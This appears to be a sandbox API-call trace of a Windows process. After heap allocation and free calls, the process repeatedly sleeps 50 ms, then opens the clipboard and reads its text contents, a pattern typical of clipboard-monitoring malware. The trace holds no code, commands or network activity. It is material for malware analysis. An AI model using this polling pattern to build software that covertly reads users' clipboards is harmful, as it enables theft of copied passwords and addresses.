[0128.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c77d0 | out: hHeap=0x5b0000) returned 1
[0128.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0128.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0128.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0128.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0128.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0128.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0128.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0128.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7970
[0128.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7970 | out: hHeap=0x5b0000) returned 1
[0128.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5af8
[0128.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7970
[0128.821] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7970 | out: hHeap=0x5b0000) returned 1
[0128.821] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5af8 | out: hHeap=0x5b0000) returned 1
[0128.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7700
[0128.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0128.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0128.821] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0128.821] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0128.821] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7700 | out: hHeap=0x5b0000) returned 1
[0128.821] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0128.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0128.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c78a0
[0128.821] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c78a0 | out: hHeap=0x5b0000) returned 1
[0128.821] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0128.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0128.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b10 | out: hHeap=0x5b0000) returned 1
[0128.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5b08 | out: hHeap=0x5b0000) returned 1
[0128.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7a40 | out: hHeap=0x5b0000) returned 1
[0128.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c78 | out: hHeap=0x5b0000) returned 1
[0128.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c6d40 | out: hHeap=0x5b0000) returned 1
[0128.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x5b0000) returned 1
[0128.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c68 | out: hHeap=0x5b0000) returned 1
[0128.823] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de858
[0128.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deba0 | out: hHeap=0x5b0000) returned 1
[0128.823] Sleep (dwMilliseconds=0x32)
[0128.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa7861c82, dwHighDateTime=0x1d96e12))
[0128.908] OpenClipboard (hWndNewOwner=0x0) returned 1
[0128.908] GetClipboardData (uFormat=0x1) returned 0x5e0298
[0128.908] GlobalLock (hMem=0x5e0298) returned 0x5e0298
[0128.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de778
[0128.908] GlobalUnlock (hMem=0x5e0298) returned 1
[0128.908] CloseClipboard () returned 1
[0128.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de778 | out: hHeap=0x5b0000) returned 1
[0128.908] Sleep (dwMilliseconds=0x32)
[0128.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa792e1f2, dwHighDateTime=0x1d96e12))
[0128.991] OpenClipboard (hWndNewOwner=0x0) returned 1
[0128.991] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0128.991] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0128.991] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de778
[0128.992] GlobalUnlock (hMem=0x5e00e8) returned 1
[0128.992] CloseClipboard () returned 1
[0128.992] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de778 | out: hHeap=0x5b0000) returned 1
[0128.992] Sleep (dwMilliseconds=0x32)
[0129.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa79fb2e9, dwHighDateTime=0x1d96e12))
[0129.075] OpenClipboard (hWndNewOwner=0x0) returned 1
[0129.075] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0129.075] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0129.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0129.075] GlobalUnlock (hMem=0x5e00e8) returned 1
[0129.075] CloseClipboard () returned 1
[0129.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0129.075] Sleep (dwMilliseconds=0x32)
[0129.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa7acd24a, dwHighDateTime=0x1d96e12))
[0129.161] OpenClipboard (hWndNewOwner=0x0) returned 1
[0129.161] GetClipboardData (uFormat=0x1) returned 0x5e01d8
[0129.161] GlobalLock (hMem=0x5e01d8) returned 0x5e01d8
[0129.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deba0
[0129.161] GlobalUnlock (hMem=0x5e01d8) returned 1
[0129.161] CloseClipboard () returned 1
[0129.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deba0 | out: hHeap=0x5b0000) returned 1
[0129.162] Sleep (dwMilliseconds=0x32)
[0129.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa7b9a39b, dwHighDateTime=0x1d96e12))
[0129.245] OpenClipboard (hWndNewOwner=0x0) returned 1
[0129.245] GetClipboardData (uFormat=0x1) returned 0x5e01d8
[0129.245] GlobalLock (hMem=0x5e01d8) returned 0x5e01d8
[0129.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0129.246] GlobalUnlock (hMem=0x5e01d8) returned 1
[0129.246] CloseClipboard () returned 1
[0129.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0129.246] Sleep (dwMilliseconds=0x32)
[0129.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa7c69ba4, dwHighDateTime=0x1d96e12))
[0129.330] OpenClipboard (hWndNewOwner=0x0) returned 1
[0129.330] GetClipboardData (uFormat=0x1) returned 0x5e0388
[0129.331] GlobalLock (hMem=0x5e0388) returned 0x5e0388
[0129.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0129.331] GlobalUnlock (hMem=0x5e0388) returned 1
[0129.331] CloseClipboard () returned 1
[0129.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0129.331] Sleep (dwMilliseconds=0x32)
[0129.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa7d96081, dwHighDateTime=0x1d96e12))
[0129.453] OpenClipboard (hWndNewOwner=0x0) returned 1
[0129.453] GetClipboardData (uFormat=0x1) returned 0x5e03b8
[0129.453] GlobalLock (hMem=0x5e03b8) returned 0x5e03b8
[0129.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0129.453] GlobalUnlock (hMem=0x5e03b8) returned 1
[0129.453] CloseClipboard () returned 1
[0129.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0129.454] Sleep (dwMilliseconds=0x32)
[0129.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa7e61420, dwHighDateTime=0x1d96e12))
[0129.536] OpenClipboard (hWndNewOwner=0x0) returned 1
[0129.536] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0129.537] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0129.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deaf8
[0129.537] GlobalUnlock (hMem=0x5e00e8) returned 1
[0129.537] CloseClipboard () returned 1
[0129.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deaf8 | out: hHeap=0x5b0000) returned 1
[0129.537] Sleep (dwMilliseconds=0x32)
[0129.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa7f30d2b, dwHighDateTime=0x1d96e12))
[0129.622] OpenClipboard (hWndNewOwner=0x0) returned 1
[0129.622] GetClipboardData (uFormat=0x1) returned 0x5e0178
[0129.622] GlobalLock (hMem=0x5e0178) returned 0x5e0178
[0129.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0129.622] GlobalUnlock (hMem=0x5e0178) returned 1
[0129.622] CloseClipboard () returned 1
[0129.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0129.622] Sleep (dwMilliseconds=0x32)
[0129.704] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa7ffafd6, dwHighDateTime=0x1d96e12))
[0129.704] OpenClipboard (hWndNewOwner=0x0) returned 1
[0129.704] GetClipboardData (uFormat=0x1) returned 0x5e02c8
[0129.705] GlobalLock (hMem=0x5e02c8) returned 0x5e02c8
[0129.705] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0129.705] GlobalUnlock (hMem=0x5e02c8) returned 1
[0129.705] CloseClipboard () returned 1
[0129.705] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0129.705] Sleep (dwMilliseconds=0x32)
[0129.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa80c7ebd, dwHighDateTime=0x1d96e12))
[0129.788] OpenClipboard (hWndNewOwner=0x0) returned 1
[0129.788] GetClipboardData (uFormat=0x1) returned 0x5e0178
[0129.788] GlobalLock (hMem=0x5e0178) returned 0x5e0178
[0129.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0129.788] GlobalUnlock (hMem=0x5e0178) returned 1
[0129.788] CloseClipboard () returned 1
[0129.789] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0129.789] Sleep (dwMilliseconds=0x32)
[0129.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa8192c68, dwHighDateTime=0x1d96e12))
[0129.871] OpenClipboard (hWndNewOwner=0x0) returned 1
[0129.871] GetClipboardData (uFormat=0x1) returned 0x5e0268
[0129.872] GlobalLock (hMem=0x5e0268) returned 0x5e0268
[0129.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0129.872] GlobalUnlock (hMem=0x5e0268) returned 1
[0129.872] CloseClipboard () returned 1
[0129.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0129.872] Sleep (dwMilliseconds=0x32)
[0129.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa825e13d, dwHighDateTime=0x1d96e12))
[0129.955] OpenClipboard (hWndNewOwner=0x0) returned 1
[0129.955] GetClipboardData (uFormat=0x1) returned 0x5e0028
[0129.955] GlobalLock (hMem=0x5e0028) returned 0x5e0028
[0129.955] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea88
[0129.955] GlobalUnlock (hMem=0x5e0028) returned 1
[0129.955] CloseClipboard () returned 1
[0129.955] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea88 | out: hHeap=0x5b0000) returned 1
[0129.955] Sleep (dwMilliseconds=0x32)
[0130.011] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa82e85b7, dwHighDateTime=0x1d96e12))
[0130.011] OpenClipboard (hWndNewOwner=0x0) returned 1
[0130.011] GetClipboardData (uFormat=0x1) returned 0x5e0178
[0130.012] GlobalLock (hMem=0x5e0178) returned 0x5e0178
[0130.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0130.012] GlobalUnlock (hMem=0x5e0178) returned 1
[0130.012] CloseClipboard () returned 1
[0130.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0130.012] Sleep (dwMilliseconds=0x32)
[0130.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa8381181, dwHighDateTime=0x1d96e12))
[0130.074] OpenClipboard (hWndNewOwner=0x0) returned 1
[0130.074] GetClipboardData (uFormat=0x1) returned 0x5dff98
[0130.074] GlobalLock (hMem=0x5dff98) returned 0x5dff98
[0130.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deba0
[0130.074] GlobalUnlock (hMem=0x5dff98) returned 1
[0130.074] CloseClipboard () returned 1
[0130.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deba0 | out: hHeap=0x5b0000) returned 1
[0130.074] Sleep (dwMilliseconds=0x32)
[0130.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa8451ac6, dwHighDateTime=0x1d96e12))
[0130.159] OpenClipboard (hWndNewOwner=0x0) returned 1
[0130.159] GetClipboardData (uFormat=0x1) returned 0x5e01d8
[0130.159] GlobalLock (hMem=0x5e01d8) returned 0x5e01d8
[0130.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0130.159] GlobalUnlock (hMem=0x5e01d8) returned 1
[0130.159] CloseClipboard () returned 1
[0130.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0130.160] Sleep (dwMilliseconds=0x32)
[0130.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa851a78a, dwHighDateTime=0x1d96e12))
[0130.241] OpenClipboard (hWndNewOwner=0x0) returned 1
[0130.241] GetClipboardData (uFormat=0x1) returned 0x5e02c8
[0130.242] GlobalLock (hMem=0x5e02c8) returned 0x5e02c8
[0130.242] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5debd8
[0130.242] GlobalUnlock (hMem=0x5e02c8) returned 1
[0130.242] CloseClipboard () returned 1
[0130.242] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5debd8 | out: hHeap=0x5b0000) returned 1
[0130.242] Sleep (dwMilliseconds=0x32)
[0130.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa85e6ff6, dwHighDateTime=0x1d96e12))
[0130.325] OpenClipboard (hWndNewOwner=0x0) returned 1
[0130.325] GetClipboardData (uFormat=0x1) returned 0x5dfea8
[0130.325] GlobalLock (hMem=0x5dfea8) returned 0x5dfea8
[0130.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0130.326] GlobalUnlock (hMem=0x5dfea8) returned 1
[0130.326] CloseClipboard () returned 1
[0130.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0130.326] Sleep (dwMilliseconds=0x32)
[0130.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa86c05b9, dwHighDateTime=0x1d96e12))
[0130.414] OpenClipboard (hWndNewOwner=0x0) returned 1
[0130.414] GetClipboardData (uFormat=0x1) returned 0x5dfe78
[0130.414] GlobalLock (hMem=0x5dfe78) returned 0x5dfe78
[0130.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0130.414] GlobalUnlock (hMem=0x5dfe78) returned 1
[0130.414] CloseClipboard () returned 1
[0130.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0130.415] Sleep (dwMilliseconds=0x32)
[0130.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa8789561, dwHighDateTime=0x1d96e12))
[0130.497] OpenClipboard (hWndNewOwner=0x0) returned 1
[0130.497] GetClipboardData (uFormat=0x1) returned 0x5e0118
[0130.497] GlobalLock (hMem=0x5e0118) returned 0x5e0118
[0130.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0130.497] GlobalUnlock (hMem=0x5e0118) returned 1
[0130.497] CloseClipboard () returned 1
[0130.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0130.497] Sleep (dwMilliseconds=0x32)
[0130.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa8858ffc, dwHighDateTime=0x1d96e12))
[0130.582] OpenClipboard (hWndNewOwner=0x0) returned 1
[0130.582] GetClipboardData (uFormat=0x1) returned 0x5dfe78
[0130.582] GlobalLock (hMem=0x5dfe78) returned 0x5dfe78
[0130.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0130.582] GlobalUnlock (hMem=0x5dfe78) returned 1
[0130.582] CloseClipboard () returned 1
[0130.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0130.582] Sleep (dwMilliseconds=0x32)
[0130.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa8a1e0d7, dwHighDateTime=0x1d96e12))
[0130.768] OpenClipboard (hWndNewOwner=0x0) returned 1
[0130.881] GetClipboardData (uFormat=0x1) returned 0x5e0298
[0130.881] GlobalLock (hMem=0x5e0298) returned 0x5e0298
[0130.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0130.881] GlobalUnlock (hMem=0x5e0298) returned 1
[0130.881] CloseClipboard () returned 1
[0130.881] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0130.881] Sleep (dwMilliseconds=0x32)
[0130.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa8bef567, dwHighDateTime=0x1d96e12))
[0130.958] OpenClipboard (hWndNewOwner=0x0) returned 1
[0130.958] GetClipboardData (uFormat=0x1) returned 0x5e0298
[0130.958] GlobalLock (hMem=0x5e0298) returned 0x5e0298
[0130.958] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0130.958] GlobalUnlock (hMem=0x5e0298) returned 1
[0130.958] CloseClipboard () returned 1
[0130.958] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0130.958] Sleep (dwMilliseconds=0x32)
[0131.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa8cc3bbc, dwHighDateTime=0x1d96e12))
[0131.045] OpenClipboard (hWndNewOwner=0x0) returned 1
[0131.045] GetClipboardData (uFormat=0x1) returned 0x5e0328
[0131.045] GlobalLock (hMem=0x5e0328) returned 0x5e0328
[0131.045] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dec10
[0131.045] GlobalUnlock (hMem=0x5e0328) returned 1
[0131.045] CloseClipboard () returned 1
[0131.046] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dec10 | out: hHeap=0x5b0000) returned 1
[0131.046] Sleep (dwMilliseconds=0x32)
[0131.152] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa8dcb67d, dwHighDateTime=0x1d96e12))
[0131.153] OpenClipboard (hWndNewOwner=0x0) returned 1
[0131.153] GetClipboardData (uFormat=0x1) returned 0x5e03b8
[0131.153] GlobalLock (hMem=0x5e03b8) returned 0x5e03b8
[0131.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deb68
[0131.153] GlobalUnlock (hMem=0x5e03b8) returned 1
[0131.153] CloseClipboard () returned 1
[0131.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deb68 | out: hHeap=0x5b0000) returned 1
[0131.153] Sleep (dwMilliseconds=0x32)
[0131.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa8ea726a, dwHighDateTime=0x1d96e12))
[0131.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0131.243] GetClipboardData (uFormat=0x1) returned 0x5e01d8
[0131.244] GlobalLock (hMem=0x5e01d8) returned 0x5e01d8
[0131.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0131.244] GlobalUnlock (hMem=0x5e01d8) returned 1
[0131.244] CloseClipboard () returned 1
[0131.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0131.244] Sleep (dwMilliseconds=0x32)
[0131.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa8f7dfe1, dwHighDateTime=0x1d96e12))
[0131.331] OpenClipboard (hWndNewOwner=0x0) returned 1
[0131.331] GetClipboardData (uFormat=0x1) returned 0x5e01d8
[0131.331] GlobalLock (hMem=0x5e01d8) returned 0x5e01d8
[0131.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0131.331] GlobalUnlock (hMem=0x5e01d8) returned 1
[0131.331] CloseClipboard () returned 1
[0131.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0131.331] Sleep (dwMilliseconds=0x32)
[0131.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa9065ea2, dwHighDateTime=0x1d96e12))
[0131.426] OpenClipboard (hWndNewOwner=0x0) returned 1
[0131.426] GetClipboardData (uFormat=0x1) returned 0x5dfe78
[0131.426] GlobalLock (hMem=0x5dfe78) returned 0x5dfe78
[0131.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de778
[0131.427] GlobalUnlock (hMem=0x5dfe78) returned 1
[0131.427] CloseClipboard () returned 1
[0131.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de778 | out: hHeap=0x5b0000) returned 1
[0131.427] Sleep (dwMilliseconds=0x32)
[0131.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa9141a7b, dwHighDateTime=0x1d96e12))
[0131.516] OpenClipboard (hWndNewOwner=0x0) returned 1
[0131.516] GetClipboardData (uFormat=0x1) returned 0x5e01d8
[0131.516] GlobalLock (hMem=0x5e01d8) returned 0x5e01d8
[0131.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deac0
[0131.516] GlobalUnlock (hMem=0x5e01d8) returned 1
[0131.516] CloseClipboard () returned 1
[0131.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deac0 | out: hHeap=0x5b0000) returned 1
[0131.516] Sleep (dwMilliseconds=0x32)
[0131.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa9218818, dwHighDateTime=0x1d96e12))
[0131.603] OpenClipboard (hWndNewOwner=0x0) returned 1
